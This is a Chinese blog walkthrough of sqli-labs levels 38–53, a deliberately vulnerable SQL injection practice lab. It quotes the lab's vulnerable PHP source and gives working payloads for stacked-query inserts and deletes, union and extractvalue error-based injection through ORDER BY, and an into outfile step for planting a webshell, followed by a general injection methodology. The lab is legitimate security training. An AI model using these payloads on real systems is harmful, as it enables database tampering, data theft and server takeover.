sqli-labs练习-less38-53

前言

经过几个月的不懈奋战(,终于把靶场前三页全部刷完了,第四页都是挑战题,检验这个靶场的学习成果。最后也会总结sql注入的过程及方法。
ps.整理了关于sqli-labs靶场的博客,将分散的几篇整合了起来。

less38-45

关于堆叠注入

sql注入的又一块拼图补上了,这块拼图就是堆叠注入。首先我们截取关键源码看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{


/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}

我们注意到,源码使用了一个叫做mysqli_multi_query()的函数,这个函数一次可以执行多条sql语句,这就为堆叠注入创造了条件。

而所谓堆叠注入,就是写入多条payload,之间用分号分隔开。不过在实战中堆叠注入出现的可能性较小,因为使用条件还是十分苛刻的。而且堆叠注入产生的危害是十分之大的,会导致增删查改语句都可以实现,对数据库安全造成重大隐患。

我们就拿第38关来进行测试,构建payload:

1
?id=1';insert into users(id,username,password)values(99,'mrl64','yeah') --+

我们发现我们成功写入了一段数据,同理我们也可以把这个数据删去:

1
?id=1';delete from users where id=99 --+

增删查改的所有语句只要没有被过滤都是还可以被执行的,这里不做具体演示了。

less38-41

其实sqli-labs并没说有什么解除的目标,只是一个试炼场。如果一定要像之前的关卡一样爆出数据其实也很简单,直接联合注入、报错注入等等都是可以的,不过这里就出现了一种新的注入方式,参考payload:

1
?id=-1' union select 1,2,database();

这是由于mysqli_multi_query()函数的作用,识别到了我们构建的这句payload,因此被成功执行,而后面的语句也不会因为语法错误而爆错。

less38是单引号字符型注入,39关是整数型注入,40关是单引号字符型盲注,41关是整数型盲注。

less42-45

这几关都是POST的题目,查看源码会发现username进行了过滤,因此我们要在password中进行注入,具体方法和前面几关是一样的。

less42是单引号字符型注入,less43是单引号括号注入,44关是单引号盲注,45关是单引号括号盲注。

less46-53

order by排序

这次源码中的查询语句变成了order by:

1
$sql = "SELECT * FROM users ORDER BY $id";

也许会有人感到疑惑,order by不是用来查列数的吗,怎么还能用来查询数据呢?但其实order by关键字的真正作用其实是对结果集按照一个列或者多个列进行排序,默认为升序(ASC),可以通过关键字改变排序方式。完整的语法如下:

1
SELECT column_name,column_name FROM table_name ORDER BY column_name,column_name ASC|DESC;

我们来跑几条语句试一试:

  • 按id逆序排序:?sort=id desc

  • 按username顺序排序:?sort=username [asc]

这就是order by的查询原理,但是我们发现order by后面不能跟联合查询语句,这就导致了之前很多注入方法无法使用。但是我们知道order by后面可以跟一个数字,这首先为我们做可能有的闭合创造了条件。

less46-49

经过查询,我们得知了order by后可以使用limit、into outfile等语句,因此这里就有两种明显的思路:报错注入与webshell。

均以46关为例,首先是报错注入,构建payload:

1
2
3
4
?sort=1 and extractvalue(1,concat(0x7e,database(),0x7e))

Welcome Dhakkan
XPATH syntax error: '~security~'

之前提到的报错注入方式全都是可以使用的

第二种方法是通过into outfile写入一句话木马并使用webshell进行连接,构建payload:

1
?sort=1 into outfile '/var/www/html/sqli-labs-php7/1.php'

然后通过菜刀或者蚁剑等webshell工具进行连接,和less7基本一样,记住要注意权限问题。

当然盲注也是可以的。

less46是数字型注入,47关是单引号字符型注入,48关是数字型盲注,49关是单引号字符型盲注。

less50-53

最后四关了,首先这几关本质上与46-49关几乎没差别,最大的区别就是使用了mysqli_multi_query()函数,因此存在堆叠注入,解题方法也可以通用less46-49的方法。

less50是数字型注入,51关是单引号字符型注入,52关是数字型盲注,53关是单引号字符型盲注。

总结

到此为止sqli-labs的前3页已经全部结束了,第4页主要都是题目,用来训练sql注入,没有新的内容了。这里总结sql注入的过程及方法:

  • 判断注入类型与过滤:首先找到能够实施注入的地方进行sql注入测试,使用and 1=1、rand(true)等方式判断注入类型是字符型还是数字型。在这步时可以初步确定空格、注释符、引号、or等是否被过滤。
  • 判断注入方法:接着尝试构建不同的payload,例如联合注入的payload、报错注入的payload来判断应当选择的注入方式。例如没有报错回显排除报错注入,没有注入不同导致回显不同排除布尔盲注等,列名无法查询使用无列名注入等等。
  • 构建payload或编写脚本:根据过滤情况、注入方式来构建payload实现sql注入,如果涉及盲注的还需要编写盲注脚本,最后成功获取我们想要的信息。

当然在实战中sql注入的难度都是相当大的,需要大量的实战经验来进行积累。接下来还有很多新东西在前面,让我们进入下个靶场继续磨炼。